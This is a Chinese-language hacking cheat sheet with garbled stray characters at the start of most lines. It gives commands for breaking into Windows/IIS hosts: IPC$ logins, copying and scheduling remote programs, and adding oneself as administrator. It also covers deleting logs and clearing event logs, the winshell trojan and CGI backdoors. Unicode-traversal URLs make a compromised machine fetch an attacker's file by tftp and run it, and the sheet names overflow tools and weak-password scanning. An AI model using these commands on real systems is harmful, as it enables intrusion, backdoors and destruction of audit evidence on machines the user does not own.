网管和黑客都必须知道的命令
oT27BK26?h 常用的几条NET命令：
E#cZM> e!~x-P5M` （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
@#5PPXp Tn8GLn （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
,t_Fo-i7vI Arb-,[kwN （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
q+-Bl gcf EJN4' （查看远程主机时间） net time \\IP地址
GiN \ @F! u ?n{r （定时启动某个程序） at \\IP地址 02:18 readme.exe
.)eX(2j\ PXYo@^ 3 （查看共享） net view \\IP地址
$w$4RQk3n f#9\&-h e0 （查看netbios工作组列表） nbtstat -A IP地址
jF BnP,WQ 4^O'K;$leD （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
aB LE :v "ujt:4 p@ （这两条把自己增加到管理员组）： net user 用户名 密码 /add
`o~ 9a N 7BhRt8FSD+ net localgroup Administrators 用户名 /add
)0:@T)G jreY 'y: （断开连接） net use \\IP地址\ipc$ /delete
_ADK8a6%) ,4wZ/r>
d 扫尾：
w<]Wg^dyQ 4V`ypFme del C:\winnt\system32\logfiles\*.*
.{1MM8 Q zV }-_u. del C:\winnt\ssytem32\config\*.evt
H +>l][ huau(s0um del C:\winnt\system32\dtclog\*.*
|h,a V(Q >#RXYDd del C:\winnt\system32\*.log
e ga< {t h.6yI del C:\winnt\system32\*.txt
8L?35[]e In)#`E` g. del C:\winnt\*.txt
gn ?
~y` Z;_WU del C:\winnt\*.log
@Kd lX> i \7}X^]UV x 一、netsvc.exe
B=/*8,u G!54 e 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
H! ZPP8]j> [;D4,@A netsvc /list \\IP地址
o(.
PxcD (s,*soAN netsvc schedule \\IP地址 /query
x cz1( R $o` N% ] netsvc \\IP地址 schedule /start
-, ~n| ceI qPpC )6 -Q 二、OpenTelnet.exe
6|05-x| "YGs<)S 远程启动主机的Telnet服务，并绑定端口到7878，例如：
\)ac,i@fy \HDRr*KO OpenTelnet \\IP地址 用户名 密码 1 7878
Y>+\:O
F rt_X % 然后就可以telnet到主机的7878端口，进入DOS方式下：
a`CsL Bv& PCs+`
WP!M telnet IP地址 7878
[KR` %fD0 #nc{MR#R 三、winshell.exe
& h9ji[ n-dO |3, 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
-\j}le6;c 2N i$
(`" p Path （查看winshell主程序的路径信息）
_tN"<9v. :JSOj@s b reBoot （重新启动机器）
m5sgcxt/ +GWeu0b(~ d shutDown （关闭机器）
-lyT8qZ:( Bya !pzbpr s Shell （执行后你就会看到可爱的“C:\>”）
Nl7"|()e Fk> / x eXit （退出本次登录会话，此命令并不终止winshell的运行）
K.] *:fd O ~B
iqm CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
8@qYzSx[
8J%^gy>m] 四、3389登陆器，GUI方式登录远程主机的
;t@zH+*} . #;Z M[v 五、elsave.exe
0vUX^< &?*M+q34 事件日志清除工具
AF l]w'= jR\T\r4 elsave -s \\IP地址 -l "application" -C
k:<yy^g$X "-vm=d~\ elsave -s \\IP地址 -l "system" -C
} }Eko7'^ J( S.iT D elsave -s \\IP地址 -l "security" -C
CJ&0<Z}{m l.lXto.6) 执行后成功清除应用程序日志，系统日志，安全日志
V$- IRdb APuG8
<R, 六、hbulot.exe
B[ Uvj~g 0W9,uC2:N 开启win2kserver和winxp的3389服务
G6Z2[Ej1 4 _`+ & hbulot [/r]
.-[UHO05^8 *:3f lJt 使用/r表示安装完成后自动重起目标使设置生效。
`Bnp/9q5 \A _g 七、nc.exe(netcat.exe)
+is;$ 1rq N>7I NK 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
yuk64o2QE a>Uk<#>2?a 想要连接到某处: nc [-options] hostname port[s] [ports] ...
6 .2_UN^< d)(61 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
:Cw|BX@??U S[{#AX=0 参数:
8MM#q+8 %K
/=7 -e prog 程序重定向，一旦连接，就执行 [危险!!]
mT >56\63 x9~d_>'A -g gateway source-routing hop point[s], up to 8
7f'9Dm` RT8xU;
-G num source-routing pointer: 4, 8, 12, ...
yEy}
PCJ& Sq} hx -h 帮助信息
rFSLTbTf &2MW.,e7s -i secs 延时的间隔
(J][(=s;a wnP#.[,V -l 监听模式，用于入站连接
!Z,h5u\.w v$w!hYsQ -n 指定数字的IP地址，不能用hostname
h2!We # \Zqgr/.w/ -o file 记录16进制的传输
kp[+Iun? I2q C,Nkk -p port 本地端口号
I)]wi% 2md1GWyP -r 任意指定本地及远程端口
n!&DLB1z k(><kuJ`3 -s addr 本地源地址
U"A]b(54 'AE)&56 -u UDP模式
%: N6#;l M ITRv^IlF -v 详细输出——用两个-v可得到更详细的内容
iQZgs@ Lc f =)GL -w secs timeout的时间
1[a;2x A~ $&='&q -z 将输入输出关掉——用于扫描时
S>aN# 八、TFTPD32.EXE
ioIUIp+B~u ATv.3cy 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
UW<V(6P qXkc~{W_ http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
d90B15]gv M&~3fRb 4 然后可以直接令文件运行：
vL`wn= g9H~\w http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
vdYd~>w {%'(IJ|5z 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
]Y Q l Cx` r
Ka 7[/ 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
cV_nYcLkz :O{`!&[>L 一、一 Xscan命令行运行参数说明：
PtCwr )B, -wy$ ?Ha 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
k+{ -iPm{ >o>r@; 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
4WG~7eIgy !ui i|" xscan -file <主机列表文件名> <检测项目> [其他选项]
@3K)VjY7 5u
MP 31 其中<检测项目> 含义如下:
4$+1jjC]>~ 8 =FP92X -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
KTD# a1W "~9 !o" -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
;WC]Lf<Z^ 29
L~SMf -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
7@$Hua,GY |Ma"B4 -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
13I
7ah {j+w|;dZF -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
Gmi4ffIb3 ``)ys^V [其他选项] 含义如下:
j8$ *$| $U<so{xn% -v: 显示详细扫描进度
b-'41d}Hn R)"Ds} 1G -p: 跳过Ping不通的主机
v9( ->X' 4*g`! ~) -o: 跳过没有检测到开放端口的主机
H2l /9+ :[ m; #b -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
